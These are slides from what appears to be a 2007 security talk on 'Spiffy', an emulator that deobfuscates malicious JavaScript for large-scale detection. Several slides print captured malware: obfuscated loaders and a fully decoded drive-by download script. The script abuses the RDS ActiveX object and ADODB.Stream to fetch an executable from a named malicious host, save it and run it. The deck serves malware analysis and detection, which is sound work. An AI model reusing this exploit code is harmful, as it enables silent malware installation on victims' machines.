

# Spiffy: Automated JavaScript Deobfuscation

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# Malcode analysis

- Current malcode research is focused on binary analysis.
- Multiple tools to assist researchers in analysis.
  - IDA
  - OllyDbg
- Fact: More delivery of malware is moving to the web.
- A new set of skills and tools are required.



# What you know...

# What you need to know...

- Malicious binary analysis

- Languages: Assembly, C, C++, vb, delphi, etc.
- Concepts: PE file format, win32 function usage, unpacking, anti-disassembling tricks, etc.
- Tools: IDA, OllyDbg, PEiD, Imprec

- Malicious web content analysis

- Languages: (D)HTML, VBScript, JavaScript, Perl/Python/Ruby
- Concepts: HTTP Protocol, XMLHttpRequest, Document Object Model (DOM), Browser Security Models, JSON,
- Tools: ???



# Those Who Forget History Are Doomed to Repeat It

- Malcode authors will protect malicious web content the same way they protected malicious binaries.
  - Signature evasion
  - Anti-analysis techniques
  - Pain in the #\*&#\$! for all researchers!!



# Unpacking and anti-debugging

- Packing/Protecting/Anti-reversing
- Compression, Encryption, CRC protection
- Anti-debugging
- Virtualization detection
- Anti-emulation
- XOR stubs



# Obfuscation Evolution

- String splitting:
  - “AD” + “ODB.S” + “treAM”
- String encoding/escaping:
  - “%41\u0044” + “O\x44%42\u002ES” + “t%72eAM”
- Closing html tags (e.g. </TEXTAREA>)
- Code length dependant obfuscation:
  - arguments.callee.toString()
- Server-side [poly|meta]-morphic obfuscation



# Malicious JavaScript

```
<html>
<head>
<title></title>
<script language="javascript">

function start() {

    var iframe = document.createElement('iframe');

    iframe.setAttribute('width', 1);
    iframe.setAttribute('height', 1);
    iframe.style.border = '0';
    iframe.setAttribute('src', '?t=');

    document.getElementById('mybody').appendChild(iframe);

}

</script>
</head>

<body onLoad="start();" id="mybody">

</body>
</html>
```



# What we actually see...

```
<html>
<script language="JavaScript">
<!--
function m6cvagTa2(wuv03kP7K){var SKB1sTNaQ=arguments.callee.toString().replace
toUpperCase();var nSUFcUd0J;var M17xSiy6o;var wrjNAJVyD=SKB1sTNaQ.length;var g
MFJBI6RW8='';var nes=102;var rc8Ky5WNd=new Array();for(M17xSiy6o=0;M17xSiy6o<2
rc8Ky5WNd[M17xSiy6o]=0;var nSUFcUd0J=1;var AAA=new Array();for(M17xSiy6o=128;M
1) {nSUFcUd0J=(nSUFcUd0J>>>1)^((nSUFcUd0J&1)?3988292384:0);for(m21vdyR22=0;m21v
M17xSiy6o*2) {rc8Ky5WNd[m21vdyR22+M17xSiy6o]=(rc8Ky5WNd[m21vdyR22]^nSUFcUd0J);if
m21vdyR22+M17xSiy6o < 0) {rc8Ky5WNd[m21vdyR22+M17xSiy6o]+=4294967296;}}gL3Df1Y
nSUFcUd0J=0;nSUFcUd0J<wrjNAJVyD;nSUFcUd0J++){gL3Df1Y5c=rc8Ky5WNd[(gL3Df1Y5c^SKB1
nSUFcUd0J)&255]^((gL3Df1Y5c>>8)&16777215);}gL3Df1Y5c=gL3Df1Y5c^4294967295;AAA[0
gL3Df1Y5c<0) {gL3Df1Y5c+=4294967296;}gL3Df1Y5c=gL3Df1Y5c.toString(16).toUpperCas
new Array();var wrjNAJVyD=gL3Df1Y5c.length;for(M17xSiy6o=0;M17xSiy6o<8;M17xSiy6
+ M17xSiy6o >= 8) {xY2Uat1Y1[M17xSiy6o]=gL3Df1Y5c.charCodeAtAt(M17xSiy6o+wrjNAJVyD
xY2Uat1Y1[M17xSiy6o]=48;}}var WP20egWHN=0;var W5218236y;var MFJBI6RW8='';var s
TVCxp4E23;var stop_screen = "1001";wrjNAJVyD=wuv03kP7K.length;for(M17xSiy6o=0;M
M17xSiy6o+=2){W5218236y=parseInt(wuv03kP7K.substr(M17xSiy6o, 2),16); TVCxp4E23=k
WP20egWHN];if(TVCxp4E23<0) {TVCxp4E23 += 256;}MFJBI6RW8+=String.fromCharCode(TVC
"1002";if(WP20egWHN<xY2Uat1Y1.length-1){WP20egWHN++;} else {WP20egWHN=0;}}docum
m6cvagTa2(
'506CA494a29Ab5a7669c929F97a6A69AAB6D537b91a7A686a9a29AA1a453833d82515e5E3a97bac
9657b86AE5B9D84a094819379667959aca791a36579AAA567656176929A8391A398A59eAAa18AA35
5B79cb497595a5EA3AAA3B29194965860a18a75975D58575A73a7b585a1A195A38894b995595A6bA
e976CA791A365797663956594A1876981a692a3508477807768986291AA8279aaa567656176929a7
```





# Our Approach

- Emulation: a browser without a browser...
  - HTML Parser
  - DOM Implementation
  - Scripting Engine(s)/Interpreter(s)
- Allow the page to decode itself
- Don't render content, just log everything!



# HTML Parser

- The first step in emulating a browser: HTML.
- Retrieve all the content needed by the page: external SCRIPTs, IFRAMEs, etc.
- Side effect – basic HTML obfuscation is defeated:
  - `<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;%77%77%77%2E%74...."`



# A Little DOM, Please

- Modern browsers are dynamic, so our emulator must also be.
- Implement Document Object Model
- Attempting to detect all instances of an element by simply parsing static HTML is not enough....
  - `createElement('IFRAME');`



# Coming At You Like A Spider Monkey

- Integrate scripting engine(s) with our DOM to execute scripts as they are discovered
- Scripts are [mostly] safe for execution
- Firefox's SpiderMonkey JavaScript Engine (MPL/GPL/LGPL)



# The Missing Pieces

- Implement all of the objects/functions that the browser provides:

Native JavaScript	Browser Supplied
eval()	alert()
String.fromCharCode()	document.write()
escape()	location.href
Math.random()	window.status

- Few internal tweaks to mimic JScript (IE)
  - e.g., arguments.callee.toString()





\*\*\* 2007-08-10 15:08:57 --- HT2 Ca\$h ▶  
\*\*\* 2007-07-23 16:17:06 --- Updated File Context ▶  
\*\*\* 2007-07-19 09:17:12 --- Feature Requests ▶  
\*\*\* 2007-07-12 22:10:49 --- Files: WSVT rescanning ▶  
\*\*\* 2007-07-10 00:00:00 --- HTTP: M... with ...

User: arice Theme: Simple

● FT 441 WP 292 / 0 UP 344 J 0 / 0

Subiect [input field]

Reports [dropdown] Tools [dropdown]

URLs - Manual Report

page 1 of 1 (1 rows)

URLs Selected: 1

	MIME/Title	Status	Category
<a href="http://dougansss.com/nun/page.html">http://dougansss.com/nun/page.html</a>	text/html	HTTP/1.1 200 OK	Malicious Web Sites



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Subject ▼

Reports ▼

Tools ▼

page 1 of 1 (1 rows)



URLs - Manual Report

URLs Selected: 1

<http://dougansss.com/nun/page.htm>

MIME/Title

text/html

Status

HTTP/1.1 200 OK

● Category

Malicious Web Sites

- Action
- BS2 Sitecheck
- BS2 URL Reporter
- Categorize
- Deobfuscate**
- RTSU Details
- URL Details
- WSVT
- Filter
- Selected
- Select
- Toggle
- Toggle Category
- Toggle Hostname
- Toggle IP
- Toggle Server
- Toggle Status



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Subject

Reports

Tools

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URLs - Manual Report

URLs Selected: 1

http://dougansss.com/nun/page.html

Action

(12 Events)

Status

HTTP/1.1 200 OK

Category

Malicious Web Sites

Deobfuscation Results

Event	Result
iframe	loading.html
document.write	768 Bytes
document.write	768 Bytes
document.write	768 Bytes
document.write	768 Bytes
document.write	240 Bytes
eval	52 Bytes
eval	1593 Bytes
document.write	942 Bytes
createElement	object
setAttribute	id
setAttribute	classid
Time	0.07685
Final State	4254





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eval	1593 Bytes
document.write	942 Bytes
createElement	object
setAttribute	id
setAttribute	classid
Time	0.07685
Final State	4254

```
<script>
var s1=new String("%20var%20url%20%3D%20%22
http://dougansss.com/tes/loaderg2.exe%22%3B
%20");
var s2=new String("var%20a%3D%27%5C0%01%02%
03%04%05%06%07%08%5Ct%5Cn%0B%0C%5Cr%0E%0F%1
0%11%12%13%14%15%16%17%18%19%1A%1B%1C%1D%1E
%1F%20%21%22%23%24%25%26%5C%27%28%29*+%2C-.
/0123456789%3A%3B%3C%3D%3E%3F@ABCDEFGHIJKLM
NOPQRSTUVWXYZ%5B%5C134%5D%5E_%60abcdefghijklmnop
lmnopqrstuvwxyz%7B%7C%7D%7E%7F%80%81%82%83%
84%85%86%87%88%89%8A%8B%8C%5C215%8E%5C217%5
C220%91%92%93%94%95%96%97%98%99%9A%9B%9C%5C
235%9E%9F%A0%A1%A2%A3%A4%A5%A6%A7%A8%A9%AA%
AB%AC%AD%AE%AF%B0%B1%B2%B3%B4%B5%B6%B7%B8%B
9%BA%BB%BC%BD%BE%BF%C0%C1%C2%C3%C4%C5%C6%C7
%C8%C9%CA%CB%CC%CD%CE%CF%D0%D1%D2%D3%D4%D5%
D6%D7%D8%D9%DA%DB%DC%DD%DE%DF%E0%E1%E2%E3%E
4%E5%E6%E7%E8%E9%EA%EB%EC%ED%EE%EF%F0%F1%F2
%F3%F4%F5%F6%F7%F8%");
```



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HTTP/1.1 200 OK

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document.write	768 Bytes
document.write	768 Bytes
document.write	768 Bytes
document.write	240 Bytes
eval	52 Bytes
eval	1593 Bytes
document.write	942 Bytes
createElement	object
setAttribute	id
setAttribute	classid
Time	0.07685
Final State	4254

```
D%3Dc%3Br%26%3D4095%3B%7D%7Dif%28os.length%
3E80%29%7Bar%5Bic++%5D%3Dos%3Bos%3D%22%22%3
B%7D%7Do%3Dar.join%28%22%22%29+os%3B%7Dd%28
%29%3Bdocument.writeln%28o%29%3Bdocument.cl
ose%28%29%3B");
eval(unescape(s1));
eval(unescape(s2));
</script>
```



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Action	Status	Category
(12 Events)	HTTP/1.1 200 OK	Malicious Web Sites

Deobfuscation Results

Event	Result
iframe	loading.html
document.write	768 Bytes
document.write	768 Bytes
document.write	768 Bytes
document.write	768 Bytes
document.write	240 Bytes
eval	52 Bytes
eval	15
document.write	942 Bytes
createElement	object
setAttribute	id
setAttribute	classid
Time	0.07685
Final State	4254

```
var url = "http://dougansss.com/tes/loaderg2.exe";
```



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Subject

Reports  Tools

## URLs - Manual Report

URLs Selected: 1

<http://dougansss.com/nun/page.html>

Action	Status	Category
(12 Events)	HTTP/1.1 200 OK	Malicious Web Sites

### Deobfuscation Results

Event	Result
iframe	loading.html
document.write	768 Bytes
document.write	768 Bytes
document.write	768 Bytes
document.write	768 Bytes
document.write	240 Bytes
eval	52 Bytes
eval	1593 Bytes
document.write	98 Bytes
createElement	obje
setAttribute	id
setAttribute	clas
Time	0.07
Final State	425

```
var a='\0\t\n\r !"#%&\'()*+,-./0123456789:;<=>?@A
BCDEFGHIJKLMNOPQRSTUVWXYZ[\134]^_`abcdefghijklmnopqr
stuvwxyz{|}~€,f...t+^%Š<@215Ž\217\220'""-""Šœ\23
5žŸ;ç&łŕ!$"%&'()*±""µ¶·°»¼½¾ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐ
ÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðóôõö÷øùúÿÿÿ';var
e=256,x=0,o="",t=new Array(4113),s="ÿ<script>ÿ\r\nva
r objj_RDS = ÿdocumentÿ.createElement('u8ect'); \r\nú
ôÿ.setAttribute('i+d',ÿñš\66colass@c11\0ÿ:BD\71\66C
\65\65ÿ\66-\66\65A\63-\61ÿ\61D\60-\71\70\63Aÿ-\60\60
C\60\64FCB\62\71E\63\66L\0\r\nÞóóis_üñad*odb\0\60ž\
0try\r\n(\r\n øðð`RCO(\`i`.st\0m",«"``\235 $r\61
ž\0}ÿ\r\ncatch(+e){\r\nif+ ($š!\r)«ú Ånew A?c
tiveXâô\0úþú "ú\67IShellA&ppñhÜ.ál\235iionôÅmsxm
l\62Yæ #ÿ.XMLHTTpú(' .open(ÿ"GET",url,falseM>0*send
(p&M%étype\217`(\`"\`ep(éWri<100(ryesponseB·ody'\0\
"ÿC:\`\\\63\66\61\61ÿ\60\61\60\63\62\62\65.iexe\`x,S
avÿeToFile(ifn,\62,.clo&set Å\0Ø.ÜE\67xec;fnú-FE!</i
ôÿÿéñ\0>œ?%<\61\60\60%?Ø\63\71ó\61\71Ø?Ì\61\66\65\6
3\0-->%?0-G";function g(s,f){if(s.length<=x)return e
;else{if(f){return s.charAt(x++);}else{return a.inde
xOf(s.charAt(x++));}}function d(){var i,j,k,c,r=407
8,l=0,os="",ar,ic=0;ar=new Array();for(i=0;i<4078;i+
+)t[i]=" ";for(;;){if(((l>=1)&256)==0){if((c=g(s,0)
)==e)break;l=c|65280;if(l&l){if((c=g(s,l))==e)break
;os+=c;t[r++]=c;r&=4095;}else{if((i=g(s,0))==e)break
;if((j=g(s,0))==e)break;i|=(j&240)<<4;j=(j&15)+2;f
or(k=0;k<=j;k++){c=t[(i+k)&4095];os+=c;t[r++]=c;r&=4
095;}}if(os.length>80){ar[ic++]=os;os=""}}o=ar.join
("")+os;}d();document.writeln(o);document.close();
```



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Subject

Reports Tools

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URLs - Manual Report

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http://dougansss.com/nun/page.html

Action

(12 Events)

Status

HTTP/1.1 200 OK

Category

Malicious Web Sites

Deobfuscation Results

Event	Result
iframe	loading.html
document.write	768 Bytes
document.write	768 Bytes
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eval	52 Bytes
eval	1593 Bytes
document.write	942 Bytes
createElement	object
setAttribute	id
setAttribute	classid
Time	0.07685
Final State	4254

Show Data  
Copy Data



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document.write	942 Bytes
createElement	object
setAttribute	id
setAttribute	classid
Time	0.07685
Final State	4254

```
<script>
var obj_RDS = document.createElement('object');
obj_RDS.setAttribute('id','obj_RDS');
obj_RDS.setAttribute('classid','clsid:BD96C556-65A3-11D0-983A-00C04FC29E36');

var is__obj_adodb = 0;
try
{
    var obj_adodb = obj_RDS.CreateObject("adodb.stream","");
    is__obj_adodb = 1;
}
catch(e){}

if (is__obj_adodb != 1)
{
    try
    {
        var obj_adodb = new ActiveXObject("adodb.stream");
        is__obj_adodb = 1;
    }
    catch(e){}
}

if (is__obj_adodb == 1)
{
    try
    {
        var obj_ShellApp =
obj_RDS.CreateObject("Shell.Application","");
        var obj_msxml2 = new ActiveXObject("msxml2.XMLHTTP");
        obj_msxml2.open("GET",url,false);
        obj_msxml2.send();
    }
}
```



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document.write	240 Bytes
eval	52 Bytes
eval	1593 Bytes
document.write	942 Bytes
createElement	object
setAttribute	id
setAttribute	<b>classid</b>
Time	0.07685
Final State	4254

classid:BD96C556-65A3-11D0-983A-00C04FC29E36

```
<script>
var obj_RDS = document.createElement('object');
obj_RDS.setAttribute('id','obj_RDS');
obj_RDS.setAttribute('classid','clsid:BD96C556-65A3-11D0-983A-00C04FC29E36');

var is__obj_adodb = 0;
try
{
    var obj_adodb = obj_RDS.CreateObject("adodb.stream","");
    is__obj_adodb = 1;
}
catch(e){}

if (is__obj_adodb != 1)
{
    try
    {
        var obj_adodb = new ActiveXObject("adodb.stream");
        is__obj_adodb = 1;
    }
    catch(e){}
}

if (is__obj_adodb == 1)
{
    try
    {
        var obj_ShellApp =
obj_RDS.CreateObject("Shell.Application","");
        var obj_msxml2 = new ActiveXObject("msxml2.XMLHTTP");
        obj_msxml2.open("GET",url,false);
        obj_msxml2.send();
    }
    catch(e){}
}

```



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createElement	object
setAttribute	id
setAttribute	classid
Time	0.07685
Final State	4254

```

if (is_obj_adodb != 1)
{
    try
    {
        var obj_adodb = new ActiveXObject("adodb.stream");
        is_obj_adodb = 1;
    }
    catch(e) {}
}

if (is_obj_adodb == 1)
{
    try
    {
        var obj_ShellApp =
obj_RDS.CreateObject("Shell.Application", "");
        var obj_msxml2 = new ActiveXObject("msxml2.XMLHTTP");
        obj_msxml2.open("GET", url, false);
        obj_msxml2.send();

        obj_adodb.type = 1;
        obj_adodb.open();
        obj_adodb.Write(obj_msxml2.responseBody);
        var fn = "C:\\36110103225.exe";
        obj_adodb.SaveToFile(fn, 2);
        obj_adodb.close();
        obj_ShellApp.ShellExecute(fn);
    }
    catch(e) {}
}

</script>

```





\*\*\* 2007-08-10 15:08:57 --- HT2 Ca\$h ▶  
 \*\*\* 2007-07-23 16:17:06 --- Updated File Context ▶  
 \*\*\* 2007-07-19 09:17:12 --- Feature Requests ▶  
 \*\*\* 2007-07-12 22:10:49 --- Files: WSVT rescanning ▶

Subject

Reports

Tools

page 1 of 1 (1 rows)

Status

Category

HTTP/1.1 200 OK

Malicious Web Sites

Deobfuscation Results

Event	Result
iframe	loading.html
document.write	768 Bytes
document.write	768 Bytes
document.write	768 Bytes
document.write	768 Bytes
document.write	240 Bytes
eval	52 Bytes
eval	var url = "http://douganssss.com/tes/loaderg2.exe";
document.write	942 Bytes
createElement	object
setAttribute	id
setAttribute	classid
Time	0.07685
Final State	4254

Data

```

if (is_obj_adodb != 1)
{
    try
    {
        var obj_adodb = new ActiveXObject("adodb.stream");
        is_obj_adodb = 1;
    }
    catch(e) {}
}

if (is_obj_adodb == 1)
{
    try
    {
        var obj_ShellApp =
obj_RDS.CreateObject("Shell.Application", "");
        var obj_msxml2 = new ActiveXObject("msxml2.XMLHTTP");
        obj_msxml2.open("GET", url, false);
        obj_msxml2.send();

        obj_adodb.type = 1;
        obj_adodb.open();
        obj_adodb.Write(obj_msxml2.responseBody);
        var fn = "C:\\36110103225.exe";
        obj_adodb.SaveToFile(fn, 2);
        obj_adodb.close();
        obj_ShellApp.ShellExecute(fn);
    }
    catch(e) {}
}

</script>
    
```

URLs - M

URLs Selected: 1

http://dougans

# Automated Usage

- Integrated with our miners
  - Lots and lots of tuning ... (Dec '06)
- 100,000,000+ URLs analyzed every 24 hrs
- Even after the initial decoding, string matching is still futile: “AD” + “ODB.S” + “treAM”




# New Technique, New Signatures

- Detect specific DOM element + attribute combinations
  1. New `<OBJECT>` created
  2. `<OBJECT>.classid = "BD96C556-65A3...."`
  3. `<OBJECT>.CreateObject("adodb.stream")`
- Can still match "old fashion" signatures \*inside\*  
`document.write()` and `eval()` calls



24 Hours – 111M URLs  
124,232 Infected (0.11%)



# Limitations – JavaScript Only?

- Other Languages?
  - Same concepts apply!
- VBScript
  - vbscript.dll under WinE!
  - Currently working on experimental version
- ActionScript
  - Partially implemented when Adobe open sourced the engine; now part of Mozilla's Tamarin Project




# Limitations – variable is not defined!

- Attackers can potentially use intentional errors to prevent code execution
- Identical input/output is very important
- Easy: `document.width`
- Hard: `window.open()`
- Really hard: `XMLHttpRequest`
- Centralized verbose error logging!



# Limitations – Denial of Service

- JS\_SetBranchCallback
  - Look familiar?



- Separate thread monitoring execution time

# Limitations – User Interaction

- Malicious code could potentially rely upon a user's action before execution begins
- We implemented some basic event handling:
  - body – onload
  - window – focus
  - document – onmouse\_\_\_\_\_
- Not foolproof!





# CaffeineMonkey

- Ben Feinstein & Daniel Peck @ SecureWorks
- Released Open Source
- Excellent tool for manual reverse engineering of obfuscation; needs HTML/DOM!
- Promising research that attempts to identify malicious activity based on behavior, not static signatures.
- <http://secureworks.com/research/tools/caffeinemonkey.html>



# Other Resources

- Tutorials from ISC, excellent starting point
  - <http://handlers.sans.org/dwesemann/decode/>
- Jose Nazario's CanSecWest presentation
  - <http://www.cansecwest.com/slides07/csw07-nazario.pdf>
- Websense Blogs
  - <http://www.websense.com/securitylabs/blog/blog.php?BlogID=86>
  - <http://www.websense.com/securitylabs/blog/blog.php?BlogID=98>
  - <http://www.websense.com/securitylabs/blog/blog.php?BlogID=142>



# The End

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